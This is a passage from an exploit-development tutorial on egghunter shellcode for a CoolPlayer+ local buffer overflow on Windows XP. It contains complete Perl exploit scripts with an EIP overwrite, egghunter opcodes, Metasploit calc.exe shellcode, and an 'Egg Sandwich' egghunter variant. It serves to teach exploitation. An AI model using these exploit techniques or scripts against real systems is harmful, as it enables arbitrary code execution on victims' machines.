flag is 0 or decremented if flag is 1  jnz loop\_inc\_one // egg not found? jump back to loop\_inc\_one scasd // first 4 bytes of egg found; compare the dword in edi to eax again // \(remember scasd automatically advanced by 4\) jnz loop\_inc\_one // only the first half of the egg was found; jump back to loop\_inc\_one  found: jmp edi //egg found\!; thanks to scasd, edi now points to shellcode  
---|---  
I’ve included a C version below in case you want to compile it and load it
into a debugger as a stand-alone .exe to follow along \(please note that your
addresses are likely going to vary\).

Egghunter

egghunter.c

3.8 KiB

324 Downloads

Details

Let’s walk through the code in detail, starting from loop\_inc\_page. First,
the or instruction cues up the next memory page to search by adding page\_size
– 1 \(or 4095\) to the current address in EDX and stores the result in EDX.
The next instruction increments the value of EDX by 1. This effectively brings
us to the very first address in the page we want to search. You might wonder
why we just didn’t put 4096 into EDX, instead of breaking it into two
instructions. The reason is because we need to maintain two separate loops —
one to loop through each page and the other to loop through each address of a
valid page one by one.

<img src='img/Temp2_9767.png' width='640' height='366' alt='win_exploit_5_1'
/>

As we increment through each address, we make the call to NtDisplayString to
see if it’s valid. Before we do, the value in EDX must be saved to the stack
since we need to return to that location after the syscall; otherwise it will
be clobbered by the syscall instruction. After saving EDX, we load the syscall
number of NtDisplayString \(43\) into EAX. \[If you want to find the numbers
to the various Windows syscalls, check out this resource:
http://j00ru.vexillium.org/ntapi/ \]

<img src='img/Temp2_9768.png' width='640' height='463' alt='win_exploit_5_2'
/>

With EDX saved and the syscall parameter loaded into EAX, we’re ready to issue
the interrupt and make the syscall. Once the syscall is made, EAX will be
loaded with 0x5 if the attempt to read that memory location resulted in an
access violation. If this happens, we know we’re attempting to read from an
inaccessible memory page, so we go back to loop\_inc\_page and the next memory
page is loaded to into EDX.

<img src='img/Temp2_9765.png' width='640' height='438' alt='win_exploit_5_3'
/>

This page loop will continue until a valid memory page is found.

<img src='img/Temp2_9777.png' width='640' height='665' alt='win_exploit_5_4'
/>

Once a valid memory address is found, the execution flows diverts to is\_egg.
Now that it’s located a valid address, the next step is to compare our egg to
the contents of that address. To do so, we load the egg into EAX and move
\(copy\) our valid address from EDX to EDI for use by the next SCASD
instruction.

You might wonder why we don’t just compare the value in EAX to the value in
EDX directly. It’s because using the SCASD instruction is actually more
effecient since it not only sets us up for the following jump instruction but
it also automatically increments EDI by 4 bytes after each comparison. This
allows us to check both halves of the egg and immediately jump to our
shellcode once an egg is found, without the need for unnecessary Assembly
instructions.

If the contents of EAX and the contents pointed to by the memory address in
EDI don’t match, we haven’t found our egg so execution flow loops back to the
INC EDX instruction which will grab the next address within the current page
for comparison.

<img src='img/Temp2_9780.png' width='640' height='653' alt='win_exploit_5_5'
/>

Once the first half of the egg is found, the SCASD instruction is repeated to
check for the second half. If that’s also a match, we know we’ve found our egg
so we jump to EDI, which thanks to the SCASD instruction, now points directly
to our shellcode.

<img src='img/Temp2_9774.png' width='640' height='708' alt='win_exploit_5_6'
/>

Now that you understand how the Egghunter works, let’s see how to incorporate
it into our exploit payload. I’ll once again use the CoolPlayer exploit from
Part 4. If you recall, from Part 4, at the time of EIP overwrite, ESP points
to only a small portion of our buffer — too small for our shellcode, but more
than enough space for an Egghunter. Let’s update our previous exploit script.

First, we need to obtain the opcodes for the Assembly instructions and convert
them to hex format for our Perl script. Depending on how you write the
Egghunter \(MASM, C, etc\) there are varying ways in which you can extract the
associated opcode. For this demo, I’m simply going to grab them from Immunity
during runtime of my Egghunter executable \(compiled from the C code I
provided earlier\).

<img src='img/Temp2_9772.png' width='490' height='176' alt='win_exploit_5_7'
/>

If you use this method, you can copy it to the clipboard or export it to a
file and then convert it to script-friendly hex using any number of command
line scripts such as this:

root@kali:/demos\# cat egghunter\_opcode.txt | cut -c14-28 | tr -d '\040\072\012\015' | sed -e 's/\\\(..\\\)/\1\\\x/g' -e 's/^/$egghunter = \"\\\x/' -e 's/.\\\{2\\\}$/";/'
1 | root@kali:/demos\# cat egghunter\_opcode.txt | cut -c14-28 | tr -d '\040\072\012\015' | sed -e 's/\\(..\\)/\1\\\x/g' -e 's/^/$egghunter = \"\\\x/' -e 's/.\\\{2\\\}$/";/'  
---|---  
This results in the following output:

$egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x50\x57\x4E\x44\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

1 | $egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x50\x57\x4E\x44\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";  
---|---  
For the purposes of this demo, I’ll break up the hex with comments so you can
easily match it to the corresponding Assembly instruction. Here it is
incorporated into the exploit script we wrote in Part 4:

\#\!/usr/bin/perl \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# \# Exploit Title: CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow Shellcode Jump Demo \# Date: 12-24-2013 \# Author: Mike Czumak \(T\_v3rn1x\) -- @SecuritySift \# Vulnerable Software: CoolPlayer+ Portable v2.19.4 \# Software Link: http://portableapps.com/apps/music\_video/coolplayerp\_portable \# Tested On: Windows XP SP3 \# Based on original POC exploit: http://www.exploit-db.com/exploits/4839/ \# Details: Egghunter Demo \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# my $buffsize = 10000; \# set consistent buffer size my $junk = "\x90" x 260; \# nops to slide into $jmp; offset to eip overwrite at 260 my $eip = pack\('V',0x7c86467b\); \# jmp esp \[kernel32.dll\] my $egghunter = "\x66\x81\xCA\xFF\x0F"; \# or dx,0x0fff $egghunter = $egghunter . "\x42"; \# inc edx by 1 $egghunter = $egghunter . "\x52"; \# push edx to t $egghunter = $egghunter . "\x6A\x43"; \# push byte +0x43 $egghunter = $egghunter . "\x58"; \# pop eax $egghunter = $egghunter . "\xCD\x2E"; \# int 0x2e $egghunter = $egghunter . "\x3C\x05"; \# cmp al,0x5 $egghunter = $egghunter . "\x5A"; \# pop edx $egghunter = $egghunter . "\x74\xEF"; \# jz 0x0 $egghunter = $egghunter . "\xB8\x50\x57\x4e\x44"; \# mov eax,PWND $egghunter = $egghunter . "\x8B\xFA"; \# mov edi,edx $egghunter = $egghunter . "\xAF"; \# scasd $egghunter = $egghunter . "\x75\xEA"; \# jnz 0x5 $egghunter = $egghunter . "\xAF"; \# scasd $egghunter = $egghunter . "\x75\xE7";\#jnz 0x5 $egghunter = $egghunter . "\xFF\xE7"; \#jmp edi my $egg = "\x50\x57\x4e\x44\x50\x57\x4e\x44"; \#PWNDPWND my $nops = "\x90" x 50; \# Calc.exe payload \[size 227\] \# msfpayload windows/exec CMD=calc.exe R | \# msfencode -e x86/shikata\_ga\_nai -t perl -c 1 -b '\x00\x0a\x0d\xff' my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" . "\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" . "\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" . "\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" . "\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" . "\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" . "\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" . "\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" . "\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" . "\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" . "\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" . "\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" . "\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" . "\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" . "\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" . "\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" . "\x9a\xca\xc0"; my $sploit = $junk.$eip.$egghunter.$egg.$nops.$shell; \# build sploit portion of buffer my $fill = "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill remainder of buffer for size consistency my $buffer = $sploit.$fill; \# build final buffer \# write the exploit buffer to file my $file = "coolplayer.m3u"; open\(FILE, ">$file"\); print FILE $buffer; close\(FILE\); print "Exploit file \[" . $file . "\] created\n"; print "Buffer size: " . length\($buffer\) . "\n"; 
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768 | \#\!/usr/bin/perl\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# Exploit Title: CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow Shellcode Jump Demo\# Date: 12-24-2013\# Author: Mike Czumak \(T\_v3rn1x\) -- @SecuritySift\# Vulnerable Software: CoolPlayer+ Portable v2.19.4\# Software Link: http://portableapps.com/apps/music\_video/coolplayerp\_portable\# Tested On: Windows XP SP3\# Based on original POC exploit: http://www.exploit-db.com/exploits/4839/\# Details: Egghunter Demo\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# my $buffsize = 10000; \# set consistent buffer size my $junk = "\x90" x 260; \# nops to slide into $jmp; offset to eip overwrite at 260my $eip = pack\('V',0x7c86467b\); \# jmp esp \[kernel32.dll\]my $egghunter = "\x66\x81\xCA\xFF\x0F"; \# or dx,0x0fff$egghunter = $egghunter . "\x42"; \# inc edx by 1$egghunter = $egghunter . "\x52"; \# push edx to t$egghunter = $egghunter . "\x6A\x43"; \# push byte +0x43$egghunter = $egghunter . "\x58"; \# pop eax$egghunter = $egghunter . "\xCD\x2E"; \# int 0x2e$egghunter = $egghunter . "\x3C\x05"; \# cmp al,0x5$egghunter = $egghunter . "\x5A"; \# pop edx$egghunter = $egghunter . "\x74\xEF"; \# jz 0x0$egghunter = $egghunter . "\xB8\x50\x57\x4e\x44"; \# mov eax,PWND $egghunter = $egghunter . "\x8B\xFA"; \# mov edi,edx$egghunter = $egghunter . "\xAF"; \# scasd$egghunter = $egghunter . "\x75\xEA"; \# jnz 0x5$egghunter = $egghunter . "\xAF"; \# scasd$egghunter = $egghunter . "\x75\xE7";\#jnz 0x5$egghunter = $egghunter . "\xFF\xE7"; \#jmp edi my $egg = "\x50\x57\x4e\x44\x50\x57\x4e\x44"; \#PWNDPWNDmy $nops = "\x90" x 50; \# Calc.exe payload \[size 227\]\# msfpayload windows/exec CMD=calc.exe R | \# msfencode -e x86/shikata\_ga\_nai -t perl -c 1 -b '\x00\x0a\x0d\xff'my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" ."\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" ."\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" ."\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" ."\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" ."\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" ."\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" ."\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" ."\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" ."\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" ."\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" ."\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" ."\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" ."\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" ."\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" ."\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" ."\x9a\xca\xc0"; my $sploit = $junk.$eip.$egghunter.$egg.$nops.$shell; \# build sploit portion of buffermy $fill = "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill remainder of buffer for size consistencymy $buffer = $sploit.$fill; \# build final buffer \# write the exploit buffer to filemy $file = "coolplayer.m3u";open\(FILE, ">$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
Also note I added the $egg and incorporated both it and the Egghunter into the
$sploit portion of the buffer. Try the resulting .m3u file in CoolPlayer+ and
you should get …

Access violation when writing to \[XXXXXXXX\] - use Shift+F7/F8/F9 to pass
exception to program

1 | Access violation when writing to \[XXXXXXXX\] - use Shift+F7/F8/F9 to pass exception to program  
---|---  
Let’s take a closer look to see what happened. The following screenshot of the
corresponding memory dump shows where this access violation occurred:

<img src='img/Temp2_9766.png' width='170' height='367' alt='win_exploit_5_8'
/>

If you look closely, you’ll note that although we see the start of our
shellcode \(prefaced by “PWNDPWND”\) the shellcode is not intact, which is
what caused our exploit to crash. This corrupted version of our shellcode is
the first to appear in memory and the Egghunter is not smart enough to know
the difference — it’s only designed to execute the instructions after the
first “PWNDPWND” it finds. An Egghunter exploit might still be possible,
provided our shellcode resides intact somewhere in memory.

We can use mona to find out:

<img src='img/Temp2_9773.png' width='407' height='88' alt='win_exploit_5_9' />

The first two entries marked as “\[Stack\]” both appear in the previous
screenshot and both are corrupted versions of our shellcode. That leaves the
third entry from the Heap. Double-click that entry to view it in memory.

<img src='img/Temp2_9776.png' width='187' height='323' alt='win_exploit_5_10'
/>

Perfect, it’s intact. But how do we get our otherwise “dumb” Egghunter to skip
the first two corrupted entries in memory and execute the third? We have a few
choices.

### Overcoming Corrupted Shellcode

If we have a scenario that calls for the use of an Egghunter but successful
exploit is being hindered by the presence of multiple, corrupted copies of our
shellcode we could:

  * Change the offset to the shellcode
  * Change the starting memory page of the Egghunter search 
  * Split the shellcode into smaller pieces \(“Omelette” Egghunter\)
  * Add some additional error checking to our Egghunter \(“Egg Sandwich” Egghunter\)

#### Change the Shellcode Offset

One of the simplest methods of addressing this problem is to “push” the
shellcode further into memory so the early copies are never made and
\(hopefully\) the first copy the Egghunter reaches is intact.

Let’s try it with our CoolPlayer exploit. Add a new variable $offset and
insert it into the buffer as follows:

<img src='img/Temp2_9775.png' width='453' height='86' alt='win_exploit_5_11'
/>

Run the new .m3u file and…

<img src='img/Temp2_9770.png' width='214' height='136' alt='asx2mp3_calc' />

You can see why this worked by running the mona search again:

<img src='img/Temp2_9778.png' width='384' height='65' alt='win_exploit_5_12'
/>

This time the offset pushed the shellcode far enough into our buffer so that
no corrupted copies were placed on the stack and only the intact copy from the
heap remains.

#### Change the Starting Memory Page of the Egghunter

If we can predict where the corrupted copies are going to reside, we can
simply tell the Egghunter to start looking _after_ those memory addresses.
This could probably be done any number of ways, but for this demo I’ll use an
existing register and the ADD instruction.

From the previous mona search, we know both corrupted copies reside at
0x0012F1AC and 0x0012F31C so all we need to do is start our Egghunter after
these addresses. To do so, we need to change the value of ebx before the first
memory page is loaded.

Launch the exploit as-is and pause execution at the very beginning of the the
Egghunter routine to examine the stack. Specifically, look at ESP:

<img src='img/Temp2_9779.png' width='640' height='103' alt='win_exploit_5_13'
/>

We need to start beyond 0x0012F31C. Subtract ESP from that and you get: 0x190
or 400 decimal. Therefore we can load EDX with ESP and then add at 400+ to EDX
to push the starting memory page beyond the corrupted shellcode. An updated
version of the Egghunter is below. Note I had to break up the ADD EDX
instruction to avoid NULLs.

my $egghunter = "\x89\xe2"; \# mov ebx, esp $egghunter = $egghunter .
"\x83\xc2\x7d" x 4; \# add edx, 125 \(x4\) $egghunter = $egghunter .
"\x66\x81\xCA\xFF\x0F"; \# or dx,0x0fff $egghunter = $egghunter . "\x42"; \#
inc edx by 1 $egghunter = $egghunter . "\x52"; \# push edx to t $egghunter =
$egghunter . "\x6A\x43"; \# push byte +0x43 $egghunter = $egghunter . "\x58";
\# pop eax $egghunter = $egghunter . "\xCD\x2E"; \# int 0x2e $egghunter =
$egghunter . "\x3C\x05"; \# cmp al,0x5 $egghunter = $egghunter . "\x5A"; \#
pop edx $egghunter = $egghunter . "\x74\xEF"; \# jz 0x0 $egghunter =
$egghunter . "\xB8\x50\x57\x4e\x44"; \# mov eax,PWND $egghunter = $egghunter .
"\x8B\xFA"; \# mov edi,edx $egghunter = $egghunter . "\xAF"; \# scasd
$egghunter = $egghunter . "\x75\xEA"; \# jnz 0x5 $egghunter = $egghunter .
"\xAF"; \# scasd $egghunter = $egghunter . "\x75\xE7";\#jnz 0x5 $egghunter =
$egghunter . "\xFF\xE7"; \#jmp edi

123456789101112131415161718 |  my $egghunter = "\x89\xe2"; \# mov ebx, esp $egghunter = $egghunter . "\x83\xc2\x7d" x 4; \# add edx, 125 \(x4\) $egghunter = $egghunter . "\x66\x81\xCA\xFF\x0F"; \# or dx,0x0fff $egghunter = $egghunter . "\x42"; \# inc edx by 1 $egghunter = $egghunter . "\x52"; \# push edx to t $egghunter = $egghunter . "\x6A\x43"; \# push byte +0x43 $egghunter = $egghunter . "\x58"; \# pop eax $egghunter = $egghunter . "\xCD\x2E"; \# int 0x2e $egghunter = $egghunter . "\x3C\x05"; \# cmp al,0x5 $egghunter = $egghunter . "\x5A"; \# pop edx $egghunter = $egghunter . "\x74\xEF"; \# jz 0x0 $egghunter = $egghunter . "\xB8\x50\x57\x4e\x44"; \# mov eax,PWND $egghunter = $egghunter . "\x8B\xFA"; \# mov edi,edx $egghunter = $egghunter . "\xAF"; \# scasd $egghunter = $egghunter . "\x75\xEA"; \# jnz 0x5 $egghunter = $egghunter . "\xAF"; \# scasd $egghunter = $egghunter . "\x75\xE7";\#jnz 0x5 $egghunter = $egghunter . "\xFF\xE7"; \#jmp edi  
---|---  
Here is EDX \(and our new starting memory page\) after executing the new
mov/add instructions:

<img src='img/Temp2_9769.png' width='640' height='111' alt='win_exploit_5_14'
/>

We’ve successfully pushed past the corrupted shellcode. Continue execution and
…

<img src='img/Temp2_9770.png' width='250' height='158' alt='asx2mp3_calc' />

Since one of the key features of a useful Egghunter is to be as small as
possible, these extra 14 bytes of instructions can be seen as a negative, but
if you have the space, it’s a viable option. Alternatively, you may consider
trying to come up with more efficient methods of loading EBX with a larger
address.

#### The Omelette Egghunter

The idea behind the Omelette Egghunter is to break up your shellcode into
multiple chunks, each prefaced with its own egg as well as an additional tag
that contains two pieces of information: 1\) an indicator as to whether it is
the last chunk of shellcode and 2\) the length of the shellcode chunk.

This approach can be useful if you know your shellcode gets corrupted when
kept in large chunks but can stay intact if its divided into small enough
pieces. At a high level it works like this:

Let’s say this is your shellcode:

$shellcode = \x41\x41\x41\41\x42\x42\x42\x42\x43\x43\x43\x43;

Left as-is, there is not enough space in memory to house it in its entirety,
so we want to break it up into three chunks. We’ll use the same egg
\(PWNDPWND\). We also need to append a two byte tag to this egg. The first
byte is the chunk identifier — you can use any identifier but the last chunk
must be different that the preceding chunks so the Egghunter knows when it has
reached the end of the shellcode. You could use \x01 for the last chunk and
\x02 for all preceding chunks. The second byte is the size of the shellcode
chunk. In this rudimentary example, all three chunks will be 4 bytes in length
so the second byte of the tag will be \x04. Note that since the size is stored
as a single byte, each chunk is limited to 255 bytes in size.

So, the three chunks will look like this:

"\x50\x57\x4e\x44\x50\x57\x4e\x44\x02\x04\x41\x41\x41\x41"
"\x50\x57\x4e\x44\x50\x57\x4e\x44\x02\x04\x42\x42\x42\x42"
"\x50\x57\x4e\x44\x50\x57\x4e\x44\x01\x04\x43\x43\x43\x43"

123 | "\x50\x57\x4e\x44\x50\x57\x4e\x44\x02\x04\x41\x41\x41\x41""\x50\x57\x4e\x44\x50\x57\x4e\x44\x02\x04\x42\x42\x42\x42""\x50\x57\x4e\x44\x50\x57\x4e\x44\x01\x04\x43\x43\x43\x43"  
---|---  
The Omelette Egghunter code locates each of the chunks and writes them, in
order, to the stack to reassemble and execute the shellcode. I’m not going
explain the Omelette Egghunter code but I encourage you take a look at an
example here: http://www.thegreycorner.com/2013/10/omlette-egghunter-
shellcode.html.

It’s a very useful concept but does have some flaws. First, the shellcode
chunks must be placed into memory in order, something you might not have
control over. Second, the reassembled shellcode is written to ESP and you risk
writing over something important, including the Egghunter itself. \(I’ve
experienced both of these problems\). Third, to take advantage of this added
functionality, you sacrifice size — the omelette example found at the above
link is 53 bytes vs. 32 bytes for the NtDisplayString Egghunter. Also, similar
to the NtDisplayString Egghunter, it will grab the first egg-prepended
shellcode it reaches in memory without means to verify whether it is a
corrupted copy.

Despite these potential shortcomings, the Omelette Egghunter might be right
for certain situations so keep it in mind.

#### The Egg Sandwich

When I was considering various solutions for broken shellcode I thought it
should be possible to have the Egghunter validate the integrity of the
shellcode _before_ executing to ensure it had found an intact version. That
way, there would be no need to worry how many corrupt versions of the
shellcode might reside in memory and no reason to worry about changing offsets
or memory pages. Also, in exploits such as the one for CoolPlayer, since an
intact copy does reside somewhere in memory, there would be no need to break
the shellcode up into smaller chunks \(as in the Omelette example\).

Here’s my basic concept:

For the Egg Sandwich Egghunter you need two 8 byte eggs — one to prepend to
the beginning of the shellcode and one to append to the end.

The prepended egg also contains a two byte tag similar to the Omelette
Egghunter — the first byte identifies the egg number \(\x01\) and the second
byte is the offset to the second egg \(equal to the length of the shellcode\).
The second appended egg would also contain a two byte tag — the first byte is
the egg number \(\x02\) and the second byte is the offset to the beginning of
the shellcode \(equal to the length of shellcode + length of the second egg\).

Assuming we use our 227 byte calc.exe shellcode and our egg of PWNDPWND, the
first egg in the Egg Sandwich would look as follows:

\x50\x57\x4e\x44\x50\x57\x4e\x44\x01\xe3

1 | \x50\x57\x4e\x44\x50\x57\x4e\x44\x01\xe3  
---|---  
The second egg would look as follows.

\x50\x57\x4e\x44\x50\x57\x4e\x44\x02\xeb

1 | \x50\x57\x4e\x44\x50\x57\x4e\x44\x02\xeb  
---|---  
Note the first egg’s size tag is \xe3 \(or 227, the length of the shellcode\)
while the second is \xeb \(shellcode + 8 = 235\).

The Egghunter code locates the first egg as normal. It then reads the egg
number tag to verify it has found the first egg and uses the offset tag to
jump the appropriate number of bytes to the second egg. It then checks to make
sure the second found egg is in fact the appended egg \(by verifying its
number\) and then uses the offset tag to jump back to the beginning of the
shellcode to execute.

Any corrupted copies of the shellcode that have had bytes added or subtracted
in any way will fail the second egg check and be skipped. The only way a
corrupted egg would pass this verification step would be if it maintained the
exact same number of bytes as the original.

Here is the Perl exploit script for CoolPlayer+ modified with the Egg Sandwich
Egghunter code:

\#\!/usr/bin/perl \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# \# Exploit Title: CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow Shellcode Jump Demo \# Date: 12-24-2013 \# Author: Mike Czumak \(T\_v3rn1x\) -- @SecuritySift \# Vulnerable Software: CoolPlayer+ Portable v2.19.4 \# Software Link: http://portableapps.com/apps/music\_video/coolplayerp\_portable \# Tested On: Windows XP SP3 \# Based on original POC exploit: http://www.exploit-db.com/exploits/4839/ \# Details: Egg Sandwich Egghunter Demo \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# my $buffsize = 10000; \# set consistent buffer size my $junk = "\x90" x 260; \# nops to slide into $jmp; offset to eip overwrite at 260 my $eip = pack\('V',0x7c86467b\); \# jmp esp \[kernel32.dll\] \# loop\_inc\_page: my $egghunter = "\x66\x81\xca\xff\x0f"; \# OR DX,0FFF ; get next page&nbsp; \# loop\_inc\_one: $egghunter = $egghunter . "\x42"; \# INC EDX ; increment EDX by 1 to get next memory address \# check\_memory: $egghunter = $egghunter . "\x52"; \# PUSH EDX ; save current address to stack $egghunter = $egghunter . "\x6a\x43"; \# PUSH 43 ; push Syscall for NtDisplayString to stack $egghunter = $egghunter . "\x58"; \# POP EAX ; pop syscall parameter into EAX for syscall $egghunter = $egghunter . "\xcd\x2e"; \# INT 2E ; issue interrupt to make syscall $egghunter = $egghunter . "\x3c\x05"; \# CMP AL,5 ; compare low order byte of eax to 0x5 \(indicates access violation\) $egghunter = $egghunter . "\x5a"; \# POP EDX ; restore EDX from the stack $egghunter = $egghunter . "\x74\xef"; \# JE SHORT ;if zf flag = 1, access violation, jump to loop\_inc\_page \# check\_egg $egghunter = $egghunter . "\xb8\x50\x57\x4e\x44"; \# MOV EAX,444E5750 ; valid address, move egg value \(PWND\) into EAX for comparison $egghunter = $egghunter . "\x8b\xfa"; \# MOV EDI,EDX ; set edi to current address pointer for use in scasd $egghunter = $egghunter . "\xaf"; \# SCASD ; compare value in EAX to dword value addressed by EDI \# ; increment EDI by 4 if DF flag is 0 or decrement if 1 $egghunter = $egghunter . "\x75\xea"; \# JNZ SHORT ; egg not found, jump back to loop\_inc\_one $egghunter = $egghunter . "\xaf"; \# SCASD ; first half of egg found, compare next half $egghunter = $egghunter . "\x75\xe7"; \# JNZ SHORT ; only first half found, jump back to loop\_inc\_one \# found\_egg $egghunter = $egghunter . "\x8b\xf7"; \# MOV ESI,EDI ; first egg found, move start address of shellcode to ESI for LODSB $egghunter = $egghunter . "\x31\xc0"; \# XOR EAX, EAX ; clear EAX contents $egghunter = $egghunter . "\xac"; \# LODSB ; loads egg number \(1 or 2\) into AL $egghunter = $egghunter . "\x8b\xd7"; \# MOV EDX,EDI ; move start of shellcode into EDX $egghunter = $egghunter . "\x3c\x01"; \# CMP AL,1 ; determine if this is the first egg or last egg $egghunter = $egghunter . "\xac"; \# LODSB ; loads size of shellcode from $egg1 into AL $egghunter = $egghunter . "\x75\x04"; \# JNZ SHORT ; cmp false, second egg found, goto second\_egg \# first\_egg $egghunter = $egghunter . "\x01\xc2"; \# ADD EDX, EAX ; increment EDX by size of shellcode to point to 2nd egg $egghunter = $egghunter . "\x75\xe3"; \# JNZ SHORT ; jump back to check\_egg \# second\_egg $egghunter = $egghunter . "\x29\xc7"; \# SUB EDI, EAX ; decrement EDX to point to start of shellcode $egghunter = $egghunter . "\xff\xe7"; \# JMP EDI ; execute shellcode my $nops = "\x90" x 50; my $egg1 = "\x50\x57\x4e\x44\x50\x57\x4e\x44\x01\xe3"; \# egg = PWNDPWND; id = 1; offset to egg2 = 227 \# Calc.exe payload \[size 227\] \# msfpayload windows/exec CMD=calc.exe R | \# msfencode -e x86/shikata\_ga\_nai -t perl -c 1 -b '\x00\x0a\x0d\xff' my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" . "\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" . "\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" . "\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" . "\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" . "\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" . "\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" . 